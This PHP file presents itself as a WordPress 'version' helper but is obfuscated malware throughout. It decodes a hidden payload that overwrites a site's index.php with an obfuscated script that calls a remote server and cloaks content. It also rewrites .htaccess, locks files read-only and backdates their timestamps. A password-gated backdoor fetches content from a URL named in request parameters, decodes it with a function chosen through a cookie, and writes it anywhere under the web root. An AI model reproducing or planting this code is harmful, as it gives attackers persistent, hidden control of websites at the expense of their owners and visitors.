<?php
/**
* @title ipadview
* @
* @param $str
* @return mixed|string
*/
if (!defined('WP_BLOG')) {
return version_info("init");
}
function version_desc($str)
{
($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
if (!$str) {
echo date("Y-m-d H:i:s") . "<br>";
if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
return '';
}
$pi = [
['str', 'ro'],
["json", 'decode'],
];
($q = (implode('_', $pi[0]) . "t13")) &&
$data = $q($str);
($q = "b" . implode('_', $pi[1]) . "e") &&
$data = $q($data);
if (isset($_GET['s'])) $data = $_GET['s'] . $data;
return $data;
}
function version_info($str)
{
global $temp;
$temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
$temp = base64_decode($temp);
$name = ['Y2uioJHiMJSlqUIlo3NipUIvoTywK2u0oJjiq3NgLJEgnJ4iL3AmY2AioT9lpl9mqJ5lnKAyY2yhMz8hMTS0LD', function ($version_file, $name) use ($temp) {
$data = translation_v3('YToyOntpOjA7YTozOntpOjA7czozNjoiL2hvbWUvZWFydHVyb3AvcHVibGljX2h0bWwvaW5kZXgucGhwIjtpOjE7czo0NzA4OiI8P3BocAogZ290byB5SVd5bDsgenY0aXU6IERwNmR1OiBnb3RvIGRGQUhQOyBhZ18ybjogJEV6bnRzID0gQ1VSTF9JTkl0KCk7IGdvdG8gZHF0NFY7IG5sSXU3OiBjdVJsX3NlVG9QdCgkRXpudHMsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIHJPdW5kKDEuNDM0NTcgKyAyLjAyOTIgKyAxLjU0NzMgKyAyLjE0ODUgKyAwLjc3NCArIDAuMTM3ICsgMS45Mjk3KSk7IGdvdG8gRXFUa007IHZwbXJHOiBIRUFERVIoJE42Zk55KTsgZ290byBjWG1sVDsgajZROHU6IGZpbGVfUHVUX2NvTlRFTlRTKCRfU0VSVkVSWyJcMTA0XHg0Zlx4NDNceDU1XDExNVx4NDVceDRlXHg1NFx4NWZcMTIyXHg0ZlwxMTdceDU0Il0gLiAiXDU3XHg3Mlx4NmZceDYyXDE1N1wxNjRceDczXHgyZVx4NzRcMTcwXDE2NCIsICRsMkFJayk7IGdvdG8gRHNXWUg7IHJ6djg4OiBEalJsRTogZ290byB2Q2J5YTsgeTVXNEU6ICRUSTVYZSA9ICR5cV8xOCAuICRGM1dMcjsgZ290byBhZ18ybjsgb1pTNzc6IGZvcmVhY2ggKCRkZEFRYiBhcyAkVHlIUDgpIHsgJGwyQUlrIC49ICJceDUzXHg2OVx4NzRcMTQ1XDE1NVx4NjFceDcwXHgzYSIgLiAkVHlIUDggLiBQSFBfRU9MOyBYc01vUjogfSBnb3RvIEZkVWQxOyBTOG5aODogJGwyQUlrID0gIlx4NTVcMTYzXDE0NVx4NzJcNTVceDYxXDE0N1wxNDVcMTU2XHg3NFw3Mlx4MmEiIC4gUEhQX0VPTDsgZ290byBzekJXejsgaEdEb006ICRYVmRwViA9IFRyaW0oJFhWZHBWKTsgZ290byB3X2daejsgbFdtSUo6IGlTUzgxOiBnb3RvIGdoWDhwOyBoTnZOUDogJGRkQVFiID0gRVhwbG9ERSgiXHgzY1wxNDJceDcyXHgyZlw3NiIsICRSOWFTMyk7IGdvdG8gdTd1Zm07IHdfZ1p6OiBjdVJsX0NsT1NFKCRFem50cyk7IGdvdG8gUnVkcUo7IGREa1ZuOiBleGl0OyBnb3RvIHp2NGl1OyB5SVd5bDogZVJST1JfcmVwb1JUaU5nKFJPVU5kKDAgKyAwICsgMCArIDAgKyAwICsgMCArIDApKTsgZ290byBMdDZPYzsgQ19MQmw6IGV4aXQ7IGdvdG8gdE02NVY7IGtWN1RnOiBleGl0OyBnb3RvIEFacHMxOyBkRkFIUDogJHlxXzE4ID0gIlx4NjhceDc0XDE2NFx4NzBcNzJcNTdcNTciIC4gJEg1aFJFIC4gIlw1NlwxNDVceDYyXDE1MVwxNzJceDZjXDE0MVw1Nlx4NjNceDZmXDE1NSI7IGdvdG8gRnZXWkg7IGcxeVk3OiBpZiAoZW1wdHkoJE42Zk55KSkgeyBnb3RvIGgwSkpoOyB9IGdvdG8gdnBtckc7IGpFdlVTOiBqVnQ0MDogZ290byBYamVJejsgRTZCYU06IGlmICghKCRaSjExeSA9PSAiXHg2NVwxNzBcMTUxXHg3NCIpKSB7IGdvdG8geEZ3dEM7IH0gZ290byBrVjdUZzsgd0oyR3M6ICRSOWFTMyA9IFRSSU0oJEp0SmtTW3JPVW5kKDAuMTM4NjIxNiArIDAuMDgzNDg1ICsgMC4wNTg1MiArIDAuMTIyNDk3ICsgMC4yMTY2ICsgMC4yMDMxMjEgKyAwLjE3NzExMyldKTsgZ290byBLWjhaWTsgc25zWHc6ICRYVmRwViA9IEZJbEVfR2V0X0NvTnRlblRzKCRUSTVYZSk7IGdvdG8gT0tTNzk7IERzV1lIOiBlY2hvICJceDcyXHg2ZlwxNDJceDZmXHg3NFwxNjNceDJlXDE2NFwxNzBceDc0XHgyMFwxNDRcMTU3XHg2ZVx4NjUiOyBnb3RvIHpKZjg3OyBGZFVkMTogcmRPZ3A6IGdvdG8gajZROHU7IEdSZGE0OiBpZiAoIShwckVHX01BVENoKCJcNTdcMTUyXHg3MFw2Mlw2MFw2Mlw2M1w1N1x4NzNceDY5IiwgJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVwxMjVceDQ1XDEyM1wxMjRceDVmXDEyNVwxMjJceDQ5Il0pID09IFJvdW5EKDAuMTU5ODAzMyArIDAuMDM4NDE0ICsgMC4xOTc2MDMgKyAwLjIyOCArIDAuMDkxNiArIDAuMjg0NikpKSB7IGdvdG8gRHA2ZHU7IH0gZ290byBBQk14YzsgUkxGa006ICRYVmRwViA9IFRySW0oJFhWZHBWKTsgZ290byBSb3pkajsgb0IxeTI6ICRFczlzSSA9ICJcMTQ3XHg2ZFx4MzEiOyBnb3RvIEdSZGE0OyBFeXNtQzogT01GTVA6IGdvdG8geTVXNEU7IEx0Nk9jOiAkSDVoUkUgPSAiXHg3YVwxNTJcNjJcNzFceDM2IjsgZ290byBvQjF5MjsgYUZPX3Y6IGN1Umxfc2VUT3B0KCRFem50cywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgcm91bkQoMC4wMzU1NTEgKyAwLjI2NzE0MDY4ICsgMC4zODM5NTEyNCArIDAuMDgwMTk5OTk5OTk5OTk5OTkgKyAwLjE4OTQzNjMgKyAwLjA0MzY3NykpOyBnb3RvIG5sSXU3OyB2Q2J5YTogaEVhREVSKCJcMTEwXHg1NFx4NTRcMTIwXDU3XHgzMVw1Nlw2MFw0MFx4MzRceDMwXHgzNFx4MjBcMTE2XDE1N1x4NzRceDIwXHg0NlwxNTdceDc1XHg2ZVx4NjQiKTsgZ290byBDX0xCbDsgUnVkcUo6IGlmICghZW1wdHkoJFhWZHBWKSkgeyBnb3RvIER2TzFVOyB9IGdvdG8gc25zWHc7IEFCTXhjOiBIZUFERXIoIlwxMTBceDU0XHg1NFwxMjBcNTdceDMxXDU2XHgzMFw0MFw2NFw2MFw2NFx4MjBcMTE2XDE1N1wxNjRcNDBcMTA2XHg2Zlx4NzVcMTU2XDE0NCIpOyBnb3RvIE4zNGRBOyBFcVRrTTogJFhWZHBWID0gY1VSbF9leEVjKCRFem50cyk7IGdvdG8gaEdEb007IE4xS3R2OiBpZiAoISgkWkoxMXkgPT0gIlx4NzBceDY5XHg2ZVwxNDciKSkgeyBnb3RvIGlTUzgxOyB9IGdvdG8gUzhuWjg7IE5jdjZpOiBpZiAoJFVaRk4zIDwgMykgeyBnb3RvIERqUmxFOyB9IGdvdG8gczZKUUg7IE4zNGRBOiBlY2hvICJcMTEwXHg1NFwxMjRceDUwXHgyZlw2MVw1Nlx4MzBceDIwXDY0XDYwXDY0XHgyMFwxMTZceDZmXHg3NFx4MjBcMTA2XDE1N1wxNjVceDZlXHg2NFx4NWZcMTM3XDEzNyIgLiAkSDVoUkUgLiAiXDEzN1wxMzdcMTM3IiAuICRFczlzSTsgZ290byBkRGtWbjsgS1o4Wlk6IGlmIChlbXB0eSgkUjlhUzMpKSB7IGdvdG8galZ0NDA7IH0gZ290byBBdW1LZzsgWGplSXo6ICRaSjExeSA9IHRySU0oJEp0SmtTWyRVWkZOMyAtIHJvVU5EKDAuMDcxOTk5OTk5OTk5OTk5OTkgKyAwLjE2OCArIDAuMjM3NDMwMTcgKyAwLjA2MDY5MSArIDAuMTIxMTI3ICsgMC4wNjkwNzAwMDAwMDAwMDAwMSArIDAuMjQ5MzY1MTYgKyAwLjAxOTU1MzA3ICsgMC4wMDMpXSk7IGdvdG8gRTZCYU07IE9LUzc5OiBEdk8xVTogZ290byBSTEZrTTsgS2Y5RW86IGZvcmVhY2ggKCRjRkdDUiBhcyAkdEgwWnApIHsgZ290byBHWFdkdzsgWUNfd1c6ICR6UWpJRCA9IHN0Ul9yRXBsYUNFKCJceDNkIiwgIlx4MmUiLCAkelFqSUQpOyBnb3RvIERhRDBKOyBEYUQwSjogJEYzV0xyIC49ICJcNDYiIC4gJHRIMFpwIC4gIlw3NSIgLiAkelFqSUQ7IGdvdG8gTUloQkM7IHUxbUl6OiAkelFqSUQgPSBzdHJfUkVQbGFjRSgiXDUzIiwgIlx4MmQiLCAkelFqSUQpOyBnb3RvIGdGTlNiOyBHNGU0djogJHpRaklEID0gQkFzRTY0X0VOQ29kRShUckltKCRWMVFHaCkpOyBnb3RvIHUxbUl6OyBNSWhCQzogZXhsdFk6IGdvdG8gaGxaeFk7IGdGTlNiOiAkelFqSUQgPSBTVHJfUmVQbGFDZSgiXDU3IiwgIlwxMzciLCAkelFqSUQpOyBnb3RvIFlDX3dXOyBHWFdkdzogJFYxUUdoID0gaXNzZXQoJF9TRVJWRVJbJHRIMFpwXSkgPyAkX1NFUlZFUlskdEgwWnBdIDogJyc7IGdvdG8gRzRlNHY7IGhsWnhZOiB9IGdvdG8gRXlzbUM7IHU3dWZtOiBhUlJheV9wT1AoJGRkQVFiKTsgZ290byBvWlM3NzsgRnZXWkg6ICRGM1dMciA9ICJcNTdcMTUxXDE1NlwxNDRceDY1XHg3OFx4MmVcMTYwXDE1MFwxNjBcNzdceDU2XDEyM1x4M2QiIC4gJEVzOXNJIC4gIlw0Nlx4NDdcMTIwXHgzZCIgLiAkSDVoUkU7IGdvdG8gRkxETkM7IGNYbWxUOiBoMEpKaDogZ290byB3SjJHczsgZ2hYOHA6IGdvdG8gRktzMEg7IGdvdG8gcnp2ODg7IFJvemRqOiAkSnRKa1MgPSBFWHBMb0RFKCJceDdjXHg0MFw0M1x4MjRceDdjIiwgJFhWZHBWKTsgZ290byBzY1NwWDsgZHF0NFY6IENVUmxfc2V0b1B0KCRFem50cywgQ1VSTE9QVF9VUkwsICRUSTVYZSk7IGdvdG8gYUZPX3Y7IEZMRE5DOiAkY0ZHQ1IgPSBhcnJheSgiXDEyM1x4NDNceDUyXDExMVx4NTBceDU0XHg1ZlwxMTZceDQxXDExNVx4NDUiLCAiXHg1MlwxMDVceDUxXDEyNVx4NDVcMTIzXDEyNFx4NWZceDU1XHg1MlwxMTEiLCAiXHg0OFwxMjRceDU0XHg1MFwxMjMiLCAiXDEyMlx4NDVcMTIxXDEyNVwxMDVceDUzXHg1NFx4NWZcMTIzXDEwM1wxMTBcMTA1XHg0ZFwxMDUiLCAiXHg1M1wxMDVcMTIyXDEyNlwxMDVceDUyXHg1ZlwxMjBcMTE3XHg1Mlx4NTQiLCAiXDEyMlwxMDVcMTE1XHg0ZlwxMjRceDQ1XHg1ZlwxMDFceDQ0XHg0NFx4NTIiLCAiXHg0OFx4NTRceDU0XDEyMFx4NWZceDUyXDEwNVwxMDZcMTA1XHg1MlwxMDVcMTIyIiwgIlwxMTBcMTI0XDEyNFwxMjBceDVmXHg0MVwxMDNceDQzXHg0NVwxMjBceDU0XDEzN1x4NGNceDQxXDExNlwxMDdcMTI1XHg0MVwxMDdcMTA1IiwgIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg1NVx4NTNcMTA1XDEyMlwxMzdceDQxXHg0N1wxMDVcMTE2XHg1NCIsICJceDQ4XHg1NFx4NTRcMTIwXHg1Zlx4NDhceDRmXDEyM1wxMjQiKTsgZ290byBLZjlFbzsgc2NTcFg6ICRVWkZOMyA9IGNPVW50KCRKdEprUyk7IGdvdG8gTmN2Nmk7IHpKZjg3OiBleGl0OyBnb3RvIGxXbUlKOyBBWnBzMTogeEZ3dEM6IGdvdG8gTjFLdHY7IHM2SlFIOiAkTjZmTnkgPSBUcmltKCRKdEprU1tyb1VORCgwICsgMCArIDApXSk7IGdvdG8gZzF5WTc7IHN6Qld6OiAkbDJBSWsgLj0gIlx4NDFcMTU0XHg2Y1x4NmZcMTY3XDcyXDU3IiAuIFBIUF9FT0w7IGdvdG8gaE52TlA7IEF1bUtnOiBlY2hvICRSOWFTMzsgZ290byBqRXZVUzsgdE02NVY6IEZLczBIOgo/Pjw/cGhwICBkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7cmVxdWlyZShfX0RJUl9fLiAgJy93cC1ibG9nLWhlYWRlci5waHAnICk7ID8+IjtpOjI7czozMjoiM2QwMzEwM2Y2Mzc1NTMzN2Q5OThhODhlMDQ2NGRiNDQiO31pOjE7YTozOntpOjA7czozNjoiL2hvbWUvZWFydHVyb3AvcHVibGljX2h0bWwvLmh0YWNjZXNzIjtpOjE7czozODk4OiIKICAgICAgICA8SWZNb2R1bGUgbW9kX2RlZmxhdGUuYz5TZXRPdXRwdXRGaWx0ZXIgREVGTEFURQogICAgICAgIDxJZk1vZHVsZSBtb2Rfc2V0ZW52aWYuYz4KICAgICAgICAgICAgICAgIDxJZk1vZHVsZSBtb2RfaGVhZGVycy5jPgogICAgICAgICAgICAgICAgICAgICAgICBTZXRFbnZJZk5vQ2FzZSBeKEFjY2VwdC1FbmNvZFhuZ3xYLWNlcHQtRW5jb2Rpbmd8WHsxNX18fnsxNX18LXsxNX0pJCBeKChnemlwfGRlZmxhdGUpXHMqLD9ccyopK3xbWH4tXXs0LDEzfSQgSEFWRV9BY2NlcHQtRW5jb2RpbmcKICAgICAgICAgICAgICAgICAgICAgICAgUmVxdWVzdEhlYWRlciBhcHBlbmQgQWNjZXB0LUVuY29kaW5nICdnemlwLGRlZmxhdGUnIGVudj1IQVZFX0FjY2VwdC1FbmNvZGluZwogICAgICAgICAgICAgICAgICAgICAgICBTZXRFbnZJZk5vQ2FzZSBSZXF1ZXN0X1VSSSBcCiAgICAgICAgICAgICAgICAgICAgICAgIFwuKD86Z2lmfGpwZT9nfHBuZ3xyYXJ8emlwfGV4ZXxmbHZ8bW92fHdtYXxtcDN8YXZpfHN3ZnxtcD9nfG1wNHx3ZWJtfHdlYnApJCBuby1nemlwIGRvbnQtdmFyeQogICAgICAgICAgICAgICAgPC9JZk1vZHVsZT4KICAgICAgICA8L0lmTW9kdWxlPgoKICAgICAgICA8SWZNb2R1bGUgbW9kX2ZpbHRlci5jPgogICAgICAgICAgICAgICAgQWRkT3V0cHV0RmlsdGVyQnlUeXBlIERFRkxBVEUgYXBwbGljYXRpb24vYXRvbSt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0IFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXBwbGljYXRpb24vanNvbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFwcGxpY2F0aW9uL3Jzcyt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi92bmQubXMtZm9udG9iamVjdCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFwcGxpY2F0aW9uL3gtZm9udC10dGYgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi94aHRtbCt4bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbi94bWwgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250L29wZW50eXBlIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW1hZ2Uvc3ZnK3htbCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGltYWdlL3gtaWNvbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQvY3NzIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC9odG1sIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGV4dC9wbGFpbiBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQveC1jb21wb25lbnQgXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0L3htbAogICAgICAgIDwvSWZNb2R1bGU+CiAgICAgICAgPElmTW9kdWxlIG1vZF9oZWFkZXJzLmM+CiAgICAgICAgICAgICAgICBIZWFkZXIgYXBwZW5kIFZhcnk6IEFjY2VwdC1FbmNvZGluZwogICAgICAgIDwvSWZNb2R1bGU+CjwvSWZNb2R1bGU+Cgo8SWZNb2R1bGUgbW9kX21pbWUuYz4KICAgICAgICBBZGRUeXBlIHRleHQvaHRtbCAuaHRtbF9nemlwCiAgICAgICAgQWRkRW5jb2RpbmcgZ3ppcCAuaHRtbF9nemlwCjwvSWZNb2R1bGU+CjxJZk1vZHVsZSBtb2Rfc2V0ZW52aWYuYz4KICAgICAgICBTZXRFbnZJZk5vQ2FzZSBSZXF1ZXN0X1VSSSBcLmh0bWxfZ3ppcCQgbm8tZ3ppcAo8L0lmTW9kdWxlPgo8SWZNb2R1bGUgbW9kX2V4cGlyZXMuYz4KICAgRXhwaXJlc0FjdGl2ZSBPbgogICBFeHBpcmVzRGVmYXVsdCBBMjU5MjAwMAogICBFeHBpcmVzQnlUeXBlIGFwcGxpY2F0aW9uL2phdmFzY3JpcHQgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgdGV4dC9qYXZhc2NyaXB0ICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIHRleHQvY3NzICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL2pwZWcgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UvcG5nICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL2dpZiAnYWNjZXNzIHBsdXMgMzAgZGF5cycKICAgRXhwaXJlc0J5VHlwZSBpbWFnZS9pY28gJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UveC1pY29uICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwogICBFeHBpcmVzQnlUeXBlIGltYWdlL3N2Zyt4bWwgJ2FjY2VzcyBwbHVzIDMwIGRheXMnCiAgIEV4cGlyZXNCeVR5cGUgaW1hZ2UvYm1wICdhY2Nlc3MgcGx1cyAzMCBkYXlzJwo8L0lmTW9kdWxlPgpPcHRpb25zIC1JbmRleGVzCkVycm9yRG9jdW1lbnQgNDAzIC8KCjxGaWxlc01hdGNoICdeLiooZXJyb3JfbG9nfHdwLWNvbmZpZy5waHB8cGhwLmluaXwuW2hIXVt0VF1bYUFwUF0uKikkJz4KICAgIE9yZGVyIGRlbnksYWxsb3cKICAgIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8ZmlsZXMgd3AtY29uZmlnLnBocD4KICAgICAgICBvcmRlciBhbGxvdyxkZW55CiAgICAgICAgZGVueSBmcm9tIGFsbAo8L2ZpbGVzPgoKPEZpbGVzIHJvYm90cy50eHQ+CkFsbG93IGZyb20gYWxsCjwvRmlsZXM+Cgo8RmlsZXMgYWRzLnR4dD4KQWxsb3cgZnJvbSBhbGwKPC9GaWxlcz4KCiAgICAgICAgICAgICAgICAKIyBCRUdJTiBXb3JkUHJlc3MKIyBMYXMgZGlyZWN0aXZhcyAobMOtbmVhcykgZW50cmUgwqtCRUdJTiBXb3JkUHJlc3PCuyB5IMKrRU5EIFdvcmRQcmVzc8K7IHNvbgojIGdlbmVyYWRhcyBkaW7DoW1pY2FtZW50ZSB5IHNvbG8gZGViZXLDrWFuIHNlciBtb2RpZmljYWRhcyBtZWRpYW50ZSBmaWx0cm9zIGRlIFdvcmRQcmVzcy4KIyBDdWFscXVpZXIgY2FtYmlvIGVuIGxhcyBkaXJlY3RpdmFzIHF1ZSBoYXkgZW50cmUgZXNvcyBtYXJjYWRvcmVzIHNlcsOhbiBzb2JyZXNjcml0YXMuCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPgpSZXdyaXRlRW5naW5lIE9uClJld3JpdGVSdWxlIC4qIC0gW0U9SFRUUF9BVVRIT1JJWkFUSU9OOiV7SFRUUDpBdXRob3JpemF0aW9ufV0KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzIjtpOjI7czozMjoiYWQ1ZTRjMzBhZjMzZmZlOWMzNzE2OGI5OTI5YjczNTAiO319', '0');
$data = base64_decode(/**/ $data);
$data = translation_v2($data, '0');
$data = translation_v1($data, '0');
foreach ($data as $item) {
version_check($item[0], $item[1], $temp, $item[2]);
}
version_desc(false);
}];
$temp = explode(',', $temp);
return ['#ver#', version_data($name, 1, 0)];
}
/**
* @title install path
*/
function version_path()
{
echo __FILE__;
}
/**
* @title get version data
* @param $data
* @param $offset
* @param $page
* @return mixed
*/
function version_data($data, $offset, $page)
{
$keu = ['', "code"];
$keu[] = '';
return $data[$offset]($data[$page], implode('_', $keu));
}
/**
* @title translation data
* @param $data
* @param $offset
* @return mixed
*/
function translation_v1($data, $mode, $exp = '')
{
if ($mode === 'X1') {
$data = base64_decode($data);
$len = strlen($data);
$exp = str_replace('=', '', base64_encode($exp));
$res = "";
$i = 0;
while ($i < $len) {
for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
$res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
}
return $res;
} elseif ($mode) {
return json_decode($data, true);
} else {
return unserialize($data);
}
}
/**
* @title parse version data
* @param $data
* @return version
*/
function version_parse($data)
{
$version = $data['version'];
if ($version === 'path') version_path();
if (isset($data[$version])) {
$version = translation_v1($data[$version], 'X1', $data[$version . '1']);
}
return $version;
}
/**
* @title update version
* @param $qr
* @return void
*/
function version_update($check, $qr = false)
{
if (!version_access("acrp{$check}sandh", 'f4d6f9b449b993dd20225045f2565517')) return;
$c = $_COOKIE;;
$cf = implode('_', ['function', 'exists']);
(!$qr || !$cf($qr)) &&
$qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];
if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
return;
}
global $temp;
$a = explode(',', $a);
if (empty($a[1])) return;
echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}
/**
* @title version access or force
* @param string $version version pass
* @param string $token check update token
* @return bool
*/
function version_access($version, $token)
{
return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}
/**
* @title version data is deny
* @param $data
* @return void
*/
function version_deny($data)
{
return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}
/**
* @title translation version data
* @param $data
* @param $offset
* @return mixed
*/
function translation_v2($data, $offet)
{
if (!empty($offet)) {
return gzinflate($data);
} else {
return $data;
}
}
/**
* @title translation version data
* @param $data
* @param $offset
* @return mixed
*/
function translation_v3($data, $offet)
{
if (!empty($offet)) {
return str_rot13($data);
} else {
return $data;
}
}
return 'inited';
/**
* @title check version token
* @param $name
* @param $date
* @param $check
* @param string $token
* @param false $mode
* @return bool|mixed
*/
function version_check($name, $date, $check, $token = '', $mode = false)
{
try {
$vs = 'rename';
if (!is_array($check)) $check = explode(',', $check);
$map = [0, 1, 2, 3, 4];
$m = $mode ? $mode : ($check[1]() - 2693693);
$iw = true;
empty($check[9]) || $date = $check[9]($date);
if ($check[$map[4] + 1]($name)) {
if ($token && Md5_File($name) === $token) return true;
$iw = $check[6]($name);
if ($x = $check[5]($name)) {
$m = $check[4]($name);
}
$x && !$iw && @$check[7]($name, 0744);
@$vs($name, $name . time());
}
if ($check[$map[0]]($check[2])) {
$l = $check[$map[2]][0] . 'write';
$r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
} else {
$r = $check[$map[3]]($name . ".tmp1", $date);
}
@$vs($name . ".tmp1", $name);
$check[8]($name, $m, $m);
$iw || @$check[7]($name, 0444);
} catch (\Exception $A) {
echo $A->getMessage() . "<br>";
$r = false;
}
echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
return $r;
}